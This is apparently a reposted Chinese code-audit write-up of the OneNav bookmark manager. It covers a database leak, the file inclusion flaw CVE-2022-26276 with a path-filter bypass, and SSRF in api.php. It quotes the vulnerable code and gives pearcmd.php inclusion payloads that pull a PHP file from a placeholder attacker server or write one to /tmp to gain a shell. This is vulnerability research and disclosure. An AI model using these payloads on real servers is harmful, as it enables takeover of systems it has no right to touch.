oneNav代码审计

新闻资讯   2023-06-07 15:05   96   0  

免责声明

请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

oneNav简介:

OneNav是一款开源免费的书签(导航)管理程序,使用使用PHP + SQLite 3开发,界面简洁,安装简单,使用方便。OneNav可帮助你你将浏览器书签集中式管理,解决跨设备、跨平台、跨浏览器之间同步和访问困难问题,做到一处部署,随处访问,在github上具有1kstar。

GitHub项目地址: https://github.com/helloxz/onenav

0x01信息泄露


OneNav使用的是SQLite 3数据库,数据库安装文件地址为/data/onenav.db3,若使用Nginx没有做好站点配置,则可能导致数据库被下载(Apache和docker则无需设置)

官方修复:如果您使用的Nginx,请务必将以下规则添加到站点配置中。

#安全设置location ~* ^/(class|controller|db|data|functions|templates)/.*.(db3|php|php5|sql)$ {    return 403;}location ~* ^/(data)/.*.(html)$ {        deny all;}location /db {        deny all;}
#伪静态rewrite ^/click/(.*) /index.php?c=click&id=$1 break;rewrite ^/api/(.*)?(.*) /index.php?c=api&method=$1&$2 break;rewrite /login /index.php?c=login break;

0x02 文件包含


查看issues发现版本0.9.15之前存在历史漏洞CVE-2022-26276

Dockerhub搜索相应版本镜像

Docker pull ,docker run

搭建界面:

使用seay扫描本地源码:

可以发现在index.php存在无过滤的目录穿越文件包含:

关键代码文件:

<?php/** * name:入口文件 */highlight_file(__FILE__);error_reporting(E_ALL^E_NOTICE^E_WARNING^E_DEPRECATED);//获取控制器$c = @$_GET['c'];//进行过滤$c = strip_tags($c);
//根据不同的请求载入不同的方法//如果没有请求控制器if((!isset($c)) || ($c == '')){    //载入主页    include_once("./controller/index.php");    }
else{    include_once("./controller/".$c.'.php');}

这里的包含需要包含一个php文件,如果是低版本php可以考虑00截断绕过,如果开启远程包含也可以用?换行绕过等。

而这里可以使用PHITHON师傅之前发现的PHP裸文件本地包含的trick

Pearcmd文件包含介绍:

pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php。原本pear/pcel是一个命令行工具,并不在Web目录下,即使存在一些安全隐患也无需担心。但我们遇到的场景比较特殊,是一个文件包含的场景,那么我们就可以包含到pear中的文件,进而利用其中的特性来搞事。

利用条件:

● 安装了pear扩展● php开启了register_argc_argv选项

这里发现作者提供的镜像文件并不存在pear 环境(可能是之后修改过了)

这里我们可以编写dockersfile,复制其中关键代码来进行复现:

FROM php:7.2-apache
COPY ./index.php /var/www/html
CMD ["apache2-foreground"]

pear文件包含分别有三种方式:

?+download+http://[vps]:[port]/test.php&file=/usr/local/lib/php/pearcmd.php?+install+--installroot+&file=/usr/local/lib/php/pearcmd.php&+http://[vps]:[port]/test.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/test.php

成功getshell:

0x03 bypass


作者之后对该文件包含进行修复后,被发现在v0.9.15 - v0.9.17可以进行绕过:

下载v0.9.15源码,其中关键代码如下:

<?php
/** * name:入口文件 */highlight_file(__FILE__);error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING ^ E_DEPRECATED);//获取控制器$c = @$_GET['c'];//进行过滤$c = strip_tags($c);

//根据不同的请求载入不同的方法//如果没有请求控制器if ((!isset($c)) || ($c == '')) {    //载入主页    include_once("./controller/index.php");} else {    $c = str_replace('../', '', $c);    $c = str_replace('./', '', $c);    include_once("./controller/" . $c . '.php');}

和上一版本只是通过 str_replace 对$c进行了过滤,

$c = str_replace('../', '', $c);$c = str_replace('./', '', $c);

而这种替换为空绕过很简单:使用..../.// 代替../绕过即可

修复:作者在beta 0.9.18版本进行了严格的过滤

0x04 ssrf


在 api.php
传入url参数没有过滤内网地址以及相关协议存在ssrf

http协议访问内网端口:

盲ssrf通过dict协议探测端口开发放:

开放端口延a时很短




文章引用微信公众号"极梦C",如有侵权,请联系管理员删除!

博客评论
还没有人评论,赶紧抢个沙发~
发表评论
说明:请文明发言,共建和谐网络,您的个人信息不会被公开显示。